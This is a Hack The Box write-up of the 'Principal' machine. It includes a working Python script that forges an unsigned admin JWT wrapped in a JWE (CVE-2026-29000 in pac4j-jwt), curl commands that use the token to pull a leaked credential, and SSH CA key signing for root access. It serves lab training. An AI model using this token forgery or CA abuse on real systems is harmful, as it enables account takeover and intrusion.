<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #009 ]

Principal

The pac4j-jwt library (CVE-2026-29000) skips signature verification when a decrypted JWE wraps a PlainJWT (alg:none); forging an admin token with the server's exposed JWKS public key leaks a plaintext credential from /api/settings, which is the SSH password for svc-deploy. A local privilege…

date
2026-03-12
read
2 min
tags
#htb #retired
platform
htb
os
linux
difficulty
medium

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a principal.htb -- -A
bash
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 [REDACTED:IP][REDACTED:IP]:91 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI/L7q6P/YK0AiDgynK4UBmJ6IyqoO/QPlkGcV6tb5RgFeIHduOPIUKgMKBVUO36anm3aPmZMR4iZoUACUDwi6s=
|   256 [REDACTED:IP][REDACTED:IP]:d9 (ED25519)
|_ssh-ed25519 [REDACTED:KEY]
8080/tcp open  http-proxy syn-ack ttl 63 Jetty
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 18 Mar 2026 16:17:31 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json
|     {"timestamp":"2026-03-18T16:17:31.279+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 302 Found
|     Date: Wed, 18 Mar 2026 16:17:29 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Content-Language: en
|     Location: /login
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Wed, 18 Mar 2026 16:17:30 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Allow: GET,HEAD,OPTIONS
|     Accept-Patch: 
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Date: Wed, 18 Mar 2026 16:17:30 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 349
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 505 Unknown Version</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 505 Unknown Version</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>505</td></tr>
|     <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
|     </table>
|     </body>
|     </html>
|   Socks5: 
|     HTTP/1.1 400 Bad Request
|     Date: Wed, 18 Mar 2026 16:17:31 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 382
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 400 Illegal character CNTL=0x5</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>400</td></tr>
|     <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>
|     </table>
|     </body>
|_    </html>
|_http-server-header: Jetty

Key findings:

  • Port 8080 (http) it is usually running on port 80 for most htb machine but this time the author decided to forward it to 8080

Web / Service Enumeration

screenshot 1 (opens the full-size image)

  • looks like a simple login page, footer confirms it's powered by pac4j. The response header X-Powered-By: pac4j-jwt/6.0.3 reveals the exact version.

Foothold

The X-Powered-By: pac4j-jwt/6.0.3 header points straight to CVE-2026-29000. The vulnerability lives in how JwtAuthenticator handles JWE tokens: when the server decrypts a JWE and the inner token is a PlainJWT (alg:none), signature verification is skipped entirely. The user profile gets built from completely unverified claims.

To exploit it I need the server's RSA public key, which is conveniently exposed at /api/auth/jwks:

bash
curl -s http://[REDACTED:IP]:8080/api/auth/jwks | python3 -m json.tool
json
{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "enc-key-1",
            "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsd..."
        }
    ]
}

jwcrypto blocks alg:none at the library level, so I build the PlainJWT manually — base64url-encode the header and claims, join them with a trailing dot for the empty signature, then wrap the whole thing in a JWE encrypted with the server's public key:

python
import json, time, base64, urllib.request
from jwcrypto import jwk, jwt

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

raw = urllib.request.urlopen("http://<machine_ip>:8080/api/auth/jwks").read() # change this machine ip
keyset = jwk.JWKSet.from_json(raw)
pub_key = list(keyset)[0]

header = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
claims = b64url(json.dumps({
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}))
plain_jwt = f"{header}.{claims}."  # empty signature

token = jwt.JWT(
    header={"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": "enc-key-1"},
    claims=plain_jwt
)
token.make_encrypted_token(pub_key)
print(token.serialize())
bash
TOKEN=$(python3 forge.py)

The server accepts it as ROLE_ADMIN. Hitting /api/settings with the forged token leaks a plaintext credential:

bash
curl -s http://<machine_ip>:8080/api/settings \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
json
"security": {
    "encryptionKey": "[REDACTED:CRED]"
}

That value is the SSH password for svc-deploy:

bash
ssh svc-deploy@principal
# password: [REDACTED:CRED]

User Flag

bash
cat /home/light/user.txt

Privilege Escalation

As svc-deploy, the README at /opt/principal/ssh/ reveals that the CA keypair is used for certificate-based SSH authentication and is trusted by sshd. The private key ca is world-readable — meaning I can sign any public key and SSH as any principal on the box, including root.

bash
# Generate a throwaway keypair
ssh-keygen -t rsa -f /tmp/id_rsa -N ""

# Sign it with the CA, setting principal to root
ssh-keygen -s /opt/principal/ssh/ca \
  -I "pwned" \
  -n root \
  -V +1h \
  /tmp/id_rsa.pub

# Copy id_rsa and id_rsa-cert.pub to attack machine, then:
chmod 600 id_rsa
ssh -i id_rsa [REDACTED:EMAIL]

Root Flag

bash
cat /home/light

Key Takeaways

    • CVE-2026-29000 — pac4j-jwt's JWE decryption trusts PlainJWT inner tokens without signature verification. If you have the server's public key (often exposed at /jwks), you can forge admin tokens with zero credentials.
  • Secrets in API responses — Admin-gated endpoints like /api/settings are a goldmine. Credentials, keys, and internal paths all end up there when developers treat auth as a security boundary instead of defense-in-depth.
  • SSH CA key mismanagement — A CA private key readable by a service account is an instant root. The entire trust model of SSH cert auth collapses the moment the CA key is exposed.

Resources